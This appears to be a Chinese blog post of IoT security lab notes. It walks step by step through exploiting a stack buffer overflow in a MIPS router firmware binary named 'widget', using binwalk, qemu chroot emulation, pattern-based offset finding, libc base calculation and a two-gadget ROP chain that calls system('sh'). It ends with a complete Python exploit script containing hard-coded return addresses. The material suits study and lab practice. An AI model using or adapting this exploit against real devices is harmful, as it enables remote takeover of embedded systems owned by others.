IOT安全研究学习实验笔记(一)

前言:看雪IOT视频学习动静态分析IOT堆栈溢出和命令执行等常见漏洞1,这里简单记录下
1.提取固件 binwalk -Me 固件
2.这里已经找到溢出的二进制文件了,在/usr/sbin/var/widget
{(FGGX3@U32X@H4Z8S(R7KO.png

由创建的hash文件照成溢出,touch hash
3.我们利用pattern.py生成特殊数据用来测试,具体命令如下几步:
(1).cp $(which qemu-mipsel-static) .
(2).sudo chroot ./ ./qemu-mipsel-static ./usr/sbin/widget -a ./var/run/password
(3).在电脑桌面上进行ida监听,并且attach上去,f8单步、f7进入执行结合
(4).这其中有很多步骤调试,这里就不演示了,学过mips 的pwn都会调试
(5).我们溢出到ra寄存器,得到几个字符,再用python pattern.py -l 700 -s 可见字符(ra),进行搜索,即可确定偏移量
通过确定我们可以在偏移+aaa的位置覆盖ra,这里在程序结束时可以跳转到ra
(6).这里我们用两个好用的gadget,体验下mips架构的rop gadget技巧,在这之前我们先确认下libc 的基地址,我们在libc目录下使用命令。ls -al | grep libc找到libc.so.0 -> libuClibc-0.9.30.1.so,发现使用libuClibc-0.9.30.1.so这个可以进行应用libc.so.0,所以直接在这个libc文件里找关于system的绝对地址
(7).我们在widget文件下发现有个memset。我们可以通过汇编:
la $t9, memset
addiu $s0, $sp, 0x380+var_100
li $a2, 0x100 # n
move $a0, $s0 # s
jalr $t9 ; memset
找到memset的实际地址t9就存在,然后在libc里用 readelf -s | grep memset 进行相减操作即可计算出libc基地址,这就是pwn的基础
(8).我们通过基地址可以拿到libc库中的任何函数进行利用
(9).我们发现栈的规则如下:
"A"*paading
$s0
$s1
$s2
$s3
$s4
$s5onegadet2
$s6
$s7
$fp
$ra BBBB
从$s0到fp我们都可以控制,总长度是292,我们292-36,就可以计算出具体的控制参数,我们看下我们的两个gadget汇编:
loc_158C8——geadget1:
move $t9, $s5
jalr $t9
addiu $s0, 1 //这里看到是个独特的地方,这个地方是防止地址后两位为00,它进行了加1,我们在system进行-1即可
gdaget2:
addiu $s5, $sp, 0x14C+var_13C
move $a1, $s3
move $a2, $s1
move $t9, $s0
jalr $t9 ; mempcpy
move $a0, $s5
我们可以在geadget1通过控制s5寄存器达到跳转,gadget2可以控制s0寄存器达到跳转system
"A"*0x100
$s0 system
$s1
$s2
$s3
$s4
$s5gadget2
$s6
$s7
$fp
$ra gadget1
addiu $s5, $sp, 0x10
MEMORY:7674D9D0 move $a1, $s3
MEMORY:7674D9D4 move $a2, $s1
'DDDD'*0x10
'sh'
这个就可以了,具体exp:

#!/usr/bin/python

shellcode='A'*0x100
shellcode+='\xff\xb1\x78\x76'
shellcode+='BBBB'*4
shellcode+='\xCC\xd9\x74\x76'
shellcode+='CCCC'*3
shellcode+='\xc8\xd8\x74\x76'
shellcode+='D'*0x10
shellcode+='sh'
print shellcode

~

本文链接:

http://azly.top/index.php/archives/36/
1 + 5 =
快来做第一个评论的人吧~